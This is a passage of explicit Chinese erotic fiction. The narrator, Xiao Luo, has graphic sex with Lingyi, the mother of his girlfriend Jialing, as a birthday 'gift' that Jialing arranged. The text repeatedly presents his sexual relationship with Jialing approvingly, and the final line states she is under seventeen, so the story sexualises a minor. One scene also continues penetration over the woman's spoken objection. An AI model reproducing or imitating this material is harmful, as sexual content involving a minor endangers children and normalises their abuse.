眼睛充满了好奇和友善,嘴唇也回复了有着美好弧线的微笑,脸颊泛着粉红色:
「小罗,刚才我是故意吓你的,看你紧张成那样子……哪!这是给你的吧?」
我打开令仪递给我的蓝色小信封,当然又是嘉羚的笔迹:
「哥,我的爱,
我知道最近妈妈对你很不友善,但是你为了我们的关系,用很大的耐心去包
容她不平衡的心情。谢谢你甘心为我牺牲,我好感动!我实在不能失去你……然
而,我相信做为妈咪的生日礼物,对你应该不算是牺牲……请把满足你对妈咪暗
藏的情愫,当成我送给你的谢礼吧!
哦,别忘记请妈咪展示一下我送她的生日套装啊!
我爱你!
嘉嘉。」
我看着令仪充满好奇的脸,决定把信笺交给她。她快速的读着,脸色由粉红
转为通红,娇嗔着:「嘉嘉,人小鬼大!」
出乎我意料之外地,令仪松手任由信纸飘落地上,双臂环抱住我的腰,娇羞
地把脸埋在我胸前。长直黑发中暴露出来的可爱耳朵、和优美细颈都羞红了。
她呢喃地说着:「我真的对你那么坏吗?对不起啊!其实,我还是很喜欢你
的啊……除了嘉嘉以外,你是我最好的朋友。我……我想我只是有一点嫉妒你们
的……」
令仪扬起她姣好的脸庞,深情的望入我眼里:「小罗,真的对不起……」
在我能回应之前,她粉红柔嫩的嘴唇已经印上了我的嘴。虽然只是个浅吻,
我已经沉醉了……
令仪轻轻挣开了我的紧抱,一只玉手落在我浴袍腰带的活结上:「能不能打
开我的生日礼物啦?」
「令仪姐姐!」我轻轻地用手指揉着她白嫩的手背:「要开这礼物,可要遵
守几项规则啊!你得先想清楚接不接受喔!」
「嗳呀!礼物还要附带条件,太罗嗦了吧!有没有诚意啊?」令仪撒起娇来
还真厉害……
「当然有诚意!只是,正确的使用礼物,可以倍加你的享受喔!」
「哼!什么规则嘛嗯?」
「哼……」我清一清喉咙:「第一项规则,就是令仪家里的『房事规矩』,
在这里都不适用。要勇于尝试新的经验。」
令仪噘起红润的嘴唇:「嘉嘉这个小鬼丫头,把什么事都讲给你听了……」
「嗯,还有的一项规则……」我指指录音室的门口:「这是一间完全隔音的
房间,所以你不用担心人家听见什么。你要讲的话,不管是多淫荡,甚至是大声
的叫床,我都要你尽情的发出声来。」
令仪的脸贴在我的胸口:「嗯,好坏啊!怎么要人家做那么淫乱的事嘛!」
「是啊,所以你好好想一想……」话还没说完,就觉得腰带被她一拉,浴袍
的下摆就分开了。
「好啊!早就知道你不老实了。才跟人家讲一下话,下面都变这样……」
的确,虽然隔着厚重的浴袍,但当令仪第一次拥抱我时,胯下肉棒就已经怒
张了起来。
「这有什么希奇?好几次我们聊天时,我那鸡巴都是不听话的贡起来的。」
趁她抬起头要娇嗔时,我着实的亲了令仪的嘴,抱起她轻盈的娇躯,疾步走
进录音室。
轻轻把令仪放在床上,我这才有机会好好的打量她的穿着打扮,一件短短的
鹅黄洋装,虽然尽露了那双玉腿的优雅线条,然而却紧密的包着上身,连那蓬松
的薄纱长袖下,都还有着一层蕾丝里子,保守的前襟反而突显了她纤细的腰身和
那两处蜜桃似的小丘。她虽不算高,但那双腿实在是具有引人入胜的修长比例,
小腿笔直不现粗肌,大腿浑圆白皙。
我面对着她坐在床边,用手缓缓梳弄着她可爱的浏海,沿着发际,轻抚着红
润柔嫩的脸颊、秀细的鼻梁。当我的手指滑过她泛红隆起的樱唇外缘时,她侧过
头、闭着眼,温柔的吻着我的手指。我故意把中指放在她的唇间,微微探入她温
热的口中,令仪竟用红唇包住那指头,湿润的口腔含着那指尖,舌头也在口中挑
逗着那只异物……
我倾过身子在她耳边细语着:「等一下是不是要这样吸我的鸡巴?」
令仪微张杏眼,吐出我的手指,满脸通红的耳语說道:「小罗,你讲话好脏
啊……」
「是啊!然而,大丈夫与淑女,嘴贱不出床第之间而已!」
「是吗?」令仪屈起一膝,在我已张开的浴袍中,用光滑、包着丝袜的大腿
磨擦着吊在我胯间的勃起物:「那,你要喂我吃……吃……」
令仪努力的想讲出淫乱的话,两颊飞红:「鸡……鸡巴……」
「嗯!不但要请你可爱的小嘴吃,还要请你那个流着淫水的小穴吃!」
「谁流……」羞窘之下她伸直了腿……
「啊哟!」
高跟鞋的细跟,狠狠扎了我的小腿一下……
「哟!对不起!对不起!我不是故意踢你的!」令仪挣扎着,想凑近来看我
的「伤势」,无奈我已一手抄起那闯祸的脚,令她无从施力坐起。
我端详着手中的一只精品:「令仪,你好像很少穿这么高的跟嘛?」
「嗯……」令仪又羞又急的解释:「要怪的话,该怪嘉羚。都是她帮我挑的
鞋子,她……她说你喜欢高跟鞋,还……还最好是细带子的……」
我揉着她美丽的脚,那双鞋正是我喜欢的典型:高高、至少有四寸的细跟,
称出美好的脚弓:细细的乳白带子,露出细白的趾头……
「她还说什么?」我伸出舌头,隔着白丝袜舔着她的脚趾。
令仪有点出神的看着我的举动:「她……她还说,你喜欢白细、不太长、也
不太粗,排列整齐的趾头。不喜欢太『风尘味』的趾甲油……我只擦了一点透明
的,还好看吧?」
「嗯……」我放肆的吸吮着她每一根脚趾。
「你的脚真是太美了,多踹我几下我都认了!」
「那我……我跟嘉嘉可舍不得……」
我捧起她另一只脚,如法泡制的亲吻……在换着脚趾吸吮间,我问道:「舒
服吗?」
「嗯……」我用舌尖勾着她的拇趾:「想想看,像这样舔你的奶头会是什么
感觉?」
「喔!讨厌!逗人家……」
「那……这样舔小穴呢?」
「哦……」令仪娇喘着,说不出话来……
「还有……舔小屁眼喔!」
「不要讲了……」令仪挣扎着坐了起来:「嘉嘉说得没错,你……你的鬼花
样太多了……」说着,竟扑进我怀里,不由我分说,就用热吻堵上了我的嘴……
怪怪!热烫烫的红唇张合着,简直是又吸又咬,津液「啧啧」的由我们嘴角溢出
舌头相互顶着、缠着……
「嗯……嗯……」
「唔……唔……」我们同时不由自主的哼着,好一会儿才停下来喘口气……
「哇!令仪,看不出你的性欲很强嘛!」
「还不都是你这个小色狼,引诱良家妇女……」
「哦……」我一拍脑袋:「差点忘了嘉羚说的话,你的生日快乐装呢?」
「哦……」原来己经放浪起来的令仪,突然又害起羞来,用几乎听不到的声
音回答道:「嗯,我……我已经穿在里面了……」
令仪跪在床上,任由我把她背后的拉练拉开,还帮着我把她的洋装褪到了膝
间。
当她躺下再面对我时,我一面把那件洋装脱下,一面情不自禁的出声赞叹:
「呜哇!美极了!」
原来令仪穿着的是一件那时难见的连身丝袜,整个前胸和腹部,都包裹在白
色的丝袜料子里(我以为是她洋装里子的蕾丝袖,原来是这件内衣的一部分),
后腰却开得很低,裸露着整个背部,几乎屁股缝都快露出来了。
至于「要害」呢?乳房是紧兜在缕空蕾丝里的,乳头则被两个丝缎花结掩盖
着,而裤袜在股间的部分,却敞着一个大洞,若不是她在裤袜装之上,还穿了件
三角裤,饱满的阴户就无所掩蔽了……
「唔,你……你别那样瞪着我嘛!是不是太作怪了?」令仪羞涩的用手遮住
胸场。
「啊!不要遮……嘉羚挑得太好了!」我脱去自己身上的浴袍,骄傲的展示
着那不但肃立致敬,而且滴下黏液的男根:「你看,我都为你兴奋过度了!」
令仪伸出秀长的纤指,目不转睛的抚弄着我的肉棒,惊叹道:「哇!好烫、
好滑哦……」
我的双手由她平坦的腹部向上抚摸。她挺翘的乳房,被紧紧的衣料称托地更
显丰隆,我迫不及待,伸手要解开她乳尖上的缎带花结……
「嗯……等一下!」令仪横臂阻挡住我的迫近:「我……我的奶……奶头蛮
大的……你……不知道你会不会嫌……」
「令仪!」我拨开她的手臂說:「要有点自信!嘉羚都说你的奶奶漂亮了,
而……而且你也喂过你老公……」
「要死啦!」令仪羞答答的娇嗔:「什么秘密都被小丫头告诉你了!」
这一次,却没阻止我拉开那一对花结,只见丝料像开花似的张开,露出一对
棕色乳头……我心想,令仪也真是太大惊小怪,虽然色泽比嘉羚的深了一点(毕
竟是生过孩子的),但是另有一种韵味,而且在没有完全亢奋的情况下,也只不
过突出乳晕半寸左右。
实在不懂令仪担心什么,而她居然真的难为情地转过头去。
张开嘴,我迫不及待的含着一只乳尖。乳房不但白皙幼嫩,而且富有弹性。
我吸吮着那片银元大小的棕色乳晕,只觉得一粒硬硬的小肉球儿顶着我的舌头。
当然,我毫不客气的用舌尖揉搓着,送上门来的俏奶头。
「唔……」令仪轻声的哼着,胸部起伏渐渐加快……
我转而亲吻着另一只奶子,同时用手指夹弄、推捏着那一粒已经被吸得高耸
朝天的奶头。明明应该有激烈反应的,令仪却硬是只闭着眼睛,无声的喘息……
我得好好的挑逗她:「哟!令仪,你这里怎么红红肿肿的?」
「那里?」令仪紧张的转过头来,张大了眼睛,低头看着胸前。我搓着那一
对乳头:「你看啊!奶头儿被我吸得变长、又泛红了咧!」
「嗯……讨厌!」一旦看见了我用嘴唇、舌头玩弄着她的乳尖,令仪却不再
移开她的视线:「嗯……你好坏!把人……人家奶头推……推得东歪西倒……」
玉手像喂奶似的:一手抱着我的头,一手「端扶」着那只被我吸弄的奶房:
「嗯……弟弟……吸得好……好乖……嗯……」
「令仪姐姐,会不会被我吸出奶汁啊?」
「嗯……不……不会了吧?弟……你迟了十六年……」
「嗯,那……」我凑近她的粉红脸蛋:「奶头被吸胀,难不难过啊?」
我用胸膛揉擦着她那一对泛红的坚硬蓓蕾,直挺挺的肉南傍国一下一下地顶着
她的裤裆……
「啊……不难过……嗯……很舒服……唔……唔……」
她的双腿缠着我的腰上,每被我顶一下后,就哼出:「嗯……嗯……哦……
哦……」的声音……
「令仪……」我的肉棒顶着她平滑的内裤裆底,虽然那不是件特别淫荡(譬
如丁字裤之类)的白色比基尼,然而薄薄的布料美妙地显出令仪阴阜的丰美,而
我肉棒尖端显然正中红心:因为那被顶住的地方,已经微微凹陷下去……
我贴着她的耳边:「令仪好聪明!把内裤穿在外面,不用大兴土木的脱去裤
袜装,就可以直取小花。」
「嗯!还说呢!穿了半天才穿好以后,居然还要天才女儿指出错误,说内裤
是穿在外面的……」
我的手勾住三角裤腰,轻易的把它脱了下来。令仪闭上眼睛,大概在等待我
的插入……过了一会儿,发现我正俯在她的腿间,目不转睛的欣赏她的「小白馒
头」,她赶紧夹起双腿:「哎呀!看什么嘛!又脏又难看……」
「胡说!健康的阴部是一直不停的自动清洁的,连你睡觉时,都在忙着。」
「歪理……」
「真的哟!要不然为什么早上小穴里有牛乳色、像养乐多味道的汁液呢?」
「你怎么会知道?」
「嘻嘻!你想想,为什么嘉羚每天那么早出门呢?差不多每天她都请我吃早
点哟!」
「好呀!这个丫头……」
令仪松懈了防卫,我把握良机,钻进她双腿之间:「至于难看嘛……你更错
的离谱。你一定没看过自己的小美穴吧?」
「嗯,讨厌!满口淫话……」
「唉……别转过头去啊!你看这里……」
令仪抬起头,好奇的看着两腿之间:「啊!过分……哟……嗯……嗯……」
我偷偷的拿出一面镜子,对着她的私处,所以当她往下一望时,正好看见了
自己妙不可言的阴户。我趁着她骂人,头还没有转开时,凑上脸、用舌头舔着她
微微吐出的小阴唇。
「嗯……怎……怎么真的……要舔人家的……的……那里嘛……嗯……真变
态……嗯……」
话纵然这么说着,但是我打的主意凑效了!令仪虽然红透了小脸,但是可爱
的大眼睛却忍不住瞄着镜子里的映象。
我猜她根本很少去察看自己的秘处(太保守?),所以决定仔细的报告一下
我的心得:「令仪,你看你的大阴唇好饱满,皮肤这么嫩,又白白净净的,只有
稀疏的柔软阴毛,好漂亮!我真忍不住了……」
看来她的注意力已经集中在腿间了。我埋首亲吻着白里透红的蜜桃、和小丘
顶上的短毛……
「嗯……哦……」令仪居然把腿稍微张大了些,以方便欣赏。我彻底的亲着
她的大阴唇……
「唔……嗯……真的那么好……好吗……嗯……弟你……你喜欢就好……嗯
嗯……嗯……」令仪放开了些,当我舔近小阴唇时,她的哼声明显的紧促也大声
了些。我的舌尖搓弄着肉色的两片薄瓣,品尝着缓缓从皱褶中泌出的咸咸汁液,
还故意用口水揉出「啧啧」的湿淋声……
果然,令仪好奇的看着湿淋淋的小花朵:「哎……哦……怎么那么湿……」
「嗯,仪姐,你那两片小阴唇,就好像一朵待放的小花,花瓣薄薄的,好迷
人!颜色也浅浅的……你怎么会觉得她难看呢?」
「哼……哦……人家不懂嘛……哦……以为就是黑黑……皱皱的……哦……
哦……」
我一边舔着,一边心里想:「有时在色情片里看过的女人,还真有那种颜色
又深,又皱巴巴、堆成一团的可怕阴唇。令仪的小唇真要比她们优美的多了!」
「令仪,宝贝!请你把小花拨开,我好舔里面的蜜……」
「嗯……羞死啦……你弄就好了……嗯……干么……」
「我的手是要拿镜子嘛!」好像理由蛮充分的,因为一只玉手缓缓的伸了下
来:手掌覆盖着耻丘,纤细的食指和中指稍微拨开了那两片肉瓣,暴露出嫣红湿
润的内部……
「宝贝儿……我帮你……」我那空出的一只手按着她一边的大阴唇,把她的
小穴张得更大,不但看得到红红的内壁,还可以看见小小的阴道口,湿答答的吐
出爱液,那花蕊似的阴核,也探出了粉红的头……
「哎呀!要死了!怎么把人家……唔……开的……唔……那么大……哎……
哎……哦……」令仪虽然抗议着,可是并没有关闭门户,我趁机舔着她小穴内壁
的蜜汁,然后突然把舌尖向她深处探入……
「哦……哦……怎么这样……唔……舔人家……哦……好怪……」
我抬头,咂着沾满分泌物的嘴唇問:「舒服吗?」
又低头用舌头抵住阴道口……
「哦……舒服……哦……哦……好舒服……」令仪大大的动情,两手并用的
打开阴唇,任我揉舔。我把镜子放下,两手罩住她盈盈一握的双乳,用指腹搓揉
夹弄着那一对又翘又硬的奶头。我放浪的舌头,搅得她穴中「沥沥」的响着,还
不时把口水加淫水涂在她细白的手指上……
「喔……喔……我不晓得……喔……下面小……小穴……哦……哦……可以
亲得……这么舒……爽……喔……不好了……」令仪喘着气,因为我的舌头绕着
那泛红的阴核尖团团转,又嘬起嘴唇,圈起被包皮覆盖的小肉芽吸吮着……
「唔……唔……爽死了……」
我起身跪在她大张的玉腿间,坚硬吐着黏液的阳具贴在她小腹上。她沾满淫
水的手指握着那根肉棒,泛红的脸上显出渴望的表情。
「令仪姐,要不要弟弟的鸡巴来插一插玫瑰花似的小穴啊?」
令仪的矜持消散无踪,抛着放荡的媚眼,她把肉南傍国轻轻推向小穴口:「要
啊!快把大鸡……鸡巴插进来……啊……嗯?」
我不让她得逞,爬离她的腿间,躺在她身边……
「既然是令仪生日……」我摇了摇一柱擎天的坚挺肉棒道:「先请你上座才
对……」
她侧过头来,支起上身:「要……要我在上面……」
「对啊!弟弟让姐姐骑,好吗?」
令仪伸手圈住那只阴茎,舔了舔嘴唇:「可……可是我不会哎!」
「简单,我教你……」
解开令仪伸过来、玉腿上的鞋扣,我帮她脱了那双迷人、但是容易造成意外
的高跟鞋,把她白嫩小巧的脚过瘾地舔了一遍。令仪听话的站在床上,小心翼翼
的跨张着腿,踮着脚尖,慢慢跪在我的小腹部。我高昂的龟头,顶触到她充满弹
性的屁股。她向我的前胸倾下少许,让那肉棒贴着股沟、滑过菊纹、而轻叩着她
妙的潮湿处……
「唔……唔……」她上下扭动着,但是我的阴茎只是徒然在她烫热的肉缝上
擦着,撩动着她已经高张的欲火:「嗯……小罗……嗯嗯……怎么……插不进去
嘛……」
「唔……」我的鸡巴也被磨得猛吐滑液:「令仪,你……你得用手……扶一
下我的鸡巴……帮它瞄准小穴……」
媚眼如丝的令仪,微侧着上身,把玉手伸到身后,握住我的肉棒:「哦……
好色!要人家淫荡的……嗯……自己把……把鸡巴……嗯……塞进去……哦……
哦……」
她比划了两三下,似乎找到了窍门。她往下坐时,龟头没有滑开、反而陷入
了肥沃的阴唇中间。
「嗯……嗯……」令仪皱了皱娥眉,呼吸急促了起来:「嗯……顶进来……
嗯……」
「哦……坐下来……」我只觉得阳具顶端逐渐没入湿软的缝中,顶住了紧紧
的一圈肌肉:「唔……里面……放松一点。」
她继续做着用手引着异物进入身体里面的淫事:「嗯……啊……好……好像
啊……太大啊……」
「啊……」突然,龟头挤入了狭小的阴道口,而我正好想配合着她的挣扎,
向上顶去,「滋」的一声,整只肉茎没入她的阴户中……
「啊……嗯……」令仪叫我意想不到的,发出哭声一样的大声呻吟道:「唔
唔……插死人了……啊……」只觉得她湿淋淋的美妙小穴,紧包着那肉棒……
「令……令仪……别停……啊……你……你得套动一下……鸡巴……呀……
啊……」
令仪向前倾身,用双手撑在我胸膛上,激烈的喘着道:「啊……不要……啊
啊……怎么叫……叫女人自……自己插自己……嗯……嗯……太……太不像样了
啊……哦……哦……」口中虽然这样讲着,白嫩的小屁股却上下掀动着……
「啊……令仪……你的小穴……好暖……好紧……啊……在你里面……好爽
啊……唔……」
令仪听了,更卖力的上下套弄着,我也配合着那韵律,迎着她向上顶。
「唔……哦……你插的……好深……唔……里面……好紧……喔……喔……
喔……」
那生过嘉羚的小穴,还真紧密:像一圈圈扎紧的湿丝绒,搓弄着我的龟头。
这体位美中不足之处,是看不清楚交合的地方,只看得见被浅浅毛发覆着的
阴阜之下,忽隐忽现的男根。然而因为令仪的汁液汨汨,「滋……滋……啧……
啧……」的声音随套动而响着。
「令……令仪……这样做……好……好吧?你尽量用阴核顶……唔……我的
小腹……」
令仪从未试过上位,所以贪婪地顶着、扭着:「唔……好爽……好爽啊……
下……下面怎么……那么湿……嗯……难……难听死了……」
我看她半闭着眼,娇躯有点不稳定的扭摆着,便用原来抚摸着她玉腿的双手
扶住她的上身,顺便拿手指去拨弄、推揉着乳尖上那一对长长挺出的棕色蓓蕾。
想不到令仪竟全身僵硬了起来,停止套动、脚趾屈曲、弓起上身、闭着眼、
向天花板哀声求着:「小……小罗……呲……哎……不好了……你……拜托……
唔……别动了……哦……人家难过死……死了……」
难过?可是小穴中,明明渴望地吮动着嘛!我的手仍夹弄着那对奶头,下面
向她阴户里深深的顶了几下后,只见她仍然僵挺着,口中「嘶……嘶……」吸着
气,然后……突然重重坐下,上身仆在我胸口,手指紧掐着我的肩膀,全身颤动
着,小穴里更是紧紧收放着,温暖的体液,在里面激荡。
那叫床声,还真有点像哭声:「哎……哎……哎哟……小罗……不……不是
叫你……哎……喔……别动了吗?害……害人家丑样子都现……啊……出来……
嗯……讨厌死了……」
「令仪,你……你高潮的时候,很美啊!迷死我了!」
「封了你那只贫嘴……」令仪凑上樱桃小嘴,亲着我的唇。
口中充沛的香津,任我吸取,甜甜的粉红小舌头,被我的舌尖、嘴唇绕缠吸
吮着……
我用手慢慢梳着她黑绸似的秀发,趁着亲吻的空隙问她:「令仪,说真的,
你舒爽、痛快了吗?」
她满面通红,秀指轻点着我的面颊,边微喘、边说:「不是真的,还会叫出
那种怪话吗?臭弟弟,姐姐差点被你插出毛病啦!羞死人了!」
骂归骂,嘴还是热情的亲着我……
「弟,你那只……怎么还硬硬的,插在小穴里嘛?好胀喔!」
我们挪动着身体,把肉棒缓缓滑出了湿暖的阴道。
「卜」的一声,肥嫩的阴唇吐出了仍然挺硬的鸡巴。
令我惊喜的是,令仪居然伏在我身边,毫不犹豫的把那湿淋淋(沾着淫水打
出的微小白沫)的阴茎含入小口中,上下摆头、津津有味的吸弄了起来。
「哎……喔……令仪……唔……小嘴巴好会……吃鸡巴……喔……弟弟……
爽死了……」看不出平常保守的令仪,口交的技术真不是盖的!粉红的嘴唇,不
但上下圈弄,还随着头的左右摇动而转着,口腔中又暖又湿、吸力颇强不说,还
用小巧的舌尖、顶着龟头儿顶上的小洞洞……
「哇……好爽!再……再这样……我会射出来的……」
令仪得意的笑了笑,吐出口中的男根,用舌尖揉弄我胀红的龟头。我鼓起气
力,从她身下抽出身来,对若有所失的令仪说:「别动,我一下就回来!」
「跑到哪里去啊……」
我跳下床,绕到令仪身后,趁她还没反应过来,我就用肉南傍国抵住她那因为
娇躯仆俯着、而高翘的心型臀部。龟头沿着她微张的粉红肉缝上下搓弄……
「哎呀!讨厌从后面……」令仪向前倾,想把屁股下降挪开,但是我一手搂
着她的细腰、一手扶着怒张的肉棒,趁着她里面仍然湿润,挺腰一顶。那紧小的
阴道口,抗拒不了我□加的压力,「滋」的一声,整根鸡巴塞入了小穴……
「哦……不……不要从后……唔……唔……」令仪虽然没用行动反抗,可是
仍然不愿被从后面进入……我大幅度的抽出插入,使她的抗议化成了呻吟:「唔
啊……啊……啊……不……不好啦……嗯……嗯……」
我看着她菊纹的下方小阴唇,吞吐着肉棒。那茎部因为淫水的滋润、而湿亮
亮地,小穴中也配合着我的抽插——显然她有感到舒爽。
「令……令仪……这……喔……这样不爽吗?」
「没……没有不爽……感到很深入……顶到……喔……不一样的地方……唔
啊……爽……爽……可是……」
想到她禁止老公用「狗交式」的理由,我边插边说道:「别担心,在……在
这里,我们可以大声呻吟……喔……你不用捂我的嘴……」
「唔……唔……哦……可是好难看……」
「我觉得,令仪,你白细平滑的背、和嫩嫩的屁股,好好看嘛!而……而且
你看墙上的镜子……我们好……好恩爱……」
令仪这才注意到她面前的落地大镜子,只见她脸上飞红,却舍不得把目光移
开:「唔……好羞哦……哦……奶奶那样晃来晃去的……嗯……嗯……」令仪的
乳房虽不大,却也因为我大力的抽插而摇荡着……
「我……我喜欢看令……令仪被我插……唔……深深的插……插的好……奶
奶浪动起来……」
「哦……哦……你好色……唔……哦……」令仪越叫越大声,小穴又湿、又
烫,随着我的抽动而阵阵收紧肌肉,发出「卜滋、卜滋」的声音。
「弟……你好会插我……我……哦……好爽……嗯……嗯……」镜中的令仪
不再反抗这体位了,反而带着痴醉的表情,享受着、甚至配合我的动作而迎送着
啊……
我也不禁呻呤着:「哦……令仪……嗯……小穴好柔软……好……哦……好
紧……」
令仪突然安静不出声,我张眼一看,她居然嬉皮笑脸的,看着我在镜中的表
情。
「好啊!你……」
「小罗,你好陶醉啊!」说着,她还学我那爽快时的表情。我搂住她纤细的
腰……
「不要啊!」她以为我要呵她的痒,然而我下身紧贴着她,上臂用力把她举
了起来(好在令仪真的是袖珍小巧)移动我们的腿以后,我缓缓平躺下来,虽然
肉南傍国从未离开小穴,我们又转回成「女性上位」的体位,只是这一次她是背对
着我,坐在我小腹部。
令仪起先有点手足失措,但是当我用手托住她的屁股、上下挪动时,她马上
意会了然,调整了自己的位置:上身后倾、双腿分开、小脚蹬在床上,随着我手
的指引,上下滑动,小穴吞吐着我的肉棒:「唔……喔……小罗……呲……啊啊
啊……花样真多……」
「令仪,爽快吗?」我觑见镜中的美景:令仪双眼半闭,蛾眉微皱,朱唇轻
启的喘着,双臂向后撑在床上,突显出胸前随着抽送、而上下颤动的棕色乳头。
包着白色丝袜的修长双腿张开着,腿间只见一只肉柱顶着白嫩的阴阜,肉色
的薄薄花瓣吞吐着鸡巴,不时显出嫣红、滑润的内壁。
那色泽较深的肉棒,不但整只被抹得湿亮亮的,连阴囊上端都堆着泡沫状的
爱液。室中演奏着美妙的交响乐,床垫的「吱吱」声,阴户发出的「啧啧」声,
当然还有……
「哦……哦……顶得……哦……好深……哦……」
「令仪,小……小穴……好紧……你给……嗯……好多爱液……」
「嗯……哼……哼……人家对你好嘛……哎……要死……」令仪也发现了镜
中干坤:「怎……怎么看得那么清楚啊?好……嗯……难为情……」说是这么说
乌溜溜的眼睛却盯着镜子不放:「哎哟……小罗……好……好大的……唔……棒
棒……哦……哦……小穴被你插得翻出来了……唔……」
为了刺激她的视觉,我两手轮流的搓揉她挺起的奶头,空出来的一只手,则
如拨弄琴弦一般的,快速挑动着她泛红、发烧的阴蒂……
「呜……啊……啊……」虽然没有了我手的支持,令仪的腿却更快速的上下
推着臀部,秀发刷着我的前胸,香汗浸透那裤袜装、滴到我身上:「小罗……嗯
嗯……哼……哼……我……哼……爽死……哼……你呢……」
「我……我也……」
紧小的肉穴突然颤动起来,我们因咬紧了牙关,只能发出「呲……嘶……」
的喘气声。
我只觉得膨大发烫的鸡巴,已无法抗拒小穴中肉壁的吸吮、搅动:「啊……
啊……喔……」浓烫的精液,一股股冲过阴户口的钳制,从龟头顶洒入令仪的子
宫……
「唔……喔……喔……」令仪全身也剧烈的抖了起来:「喔……你射精……
喔……都感到了……喔……喔……」令仪重重坐在我小腹上,全身无力的、仰卧
在我身上,阴道内壁像要吸干我似的收放着。
「唔……爽死了……」令仪呢喃着,失魂地看着镜中的映影:那好不容易射
完了的肉棒、缓缓变软,滑出了丰美的小穴,仍然微微张开的小阴唇之间,溢出
白白的黏液……
「小罗……」令仪突然说着:「我没吃避孕药喔!」
「那……」我心里有点紧张,但却显得毫不担心的说:「我们给嘉羚生个胖
弟弟!」
令仪翻身抱住我:「你想的美!我的管子早就扎啦!」
她掐着我的胸口:「死小罗!吓也吓不着你……」
令仪软软的躺在床上,任我煞费周张的帮她脱下那层裤袜装:先从领口剥到
长袖,再像脱裤袜一般的从腰褪到脚尖……
「喔……」
她伸着四肢:「谢谢小罗!这衣服虽然可爱,不过穿久了实在……」
她发现我又在盯着她张开的大腿之间,害羞的夹起了腿。(真是的!都已经
是我的人了)
其实令仪一丝不褂的娇躯才是迷人!我轻抚着她纤细光滑的腿:「累了?」
她边盯着我(因为我把她赤裸的纤纤玉趾,一只只的含在嘴中吸吮),边回
答:「哎哟!你姐姐可从来没这么激烈的做……做爱过。要不是那天出了门、再
折回来拿东西,又从嘉嘉房间的窗户撞见你们的『好事』,我才不会让你吃了甜
头呢!」
「那……你好好休息一下吧!」
我从浴室接来一盆温水,用毛巾沾了,轻轻拭擦着她身上的香汗……
录音室的电话响了,「喂?」
「哥,是嘉羚啊!」
「羚,你这个小捣蛋……」
「唷!吃了我妈那块嫩肉,还卖乖!」
「唔?你怎么知……」
「哥,把我接到对讲机吧!」
「什么?接到『鸡巴』?」
「嗯!别贫嘴!」
我按下按键,嘉羚清脆的声音、便在录音室的扬声系统中,唱着「祝你生日
快乐」。
我把麦克风递给令仪,令仪惊异的问道:「嘉嘉,你在哪里?」
「嘻嘻!妈咪,对不起,今天我跷课了。我就在我房间——每次你偷看我和
哥哥做爱的窗口啊!」
令仪一听,赶紧用毛巾盖住身子:「你……我才没有偷……」
「哎呀!妈咪,你怎么真的跟我抢小罗哥哥呢?」
「这要怪你自己啦!」到底姜是老的辣,令仪马上反守为攻:「是你把小罗
让给我的……」
小妮子居然真急了:「我……我没有把……」
「好了,好了,妈咪逗你的!再说,你小罗哥也对你一往情深,不会把你甩
了啦!」
「哥,真的?」
「当然是真的!再说。」令仪自嘲:「常来这么多花招,妈咪可吃不消!」
「妈、哥,只要你们不妨害爸和妈、小罗和我的关系,我不会小气的……」
从那天开始,令仪每个月一两次会在嘉羚上学时,来我这儿「坐坐」。
同时享用不满十七岁的小美人,和三十九岁的美妇人,我的艳福真正不浅的
啊……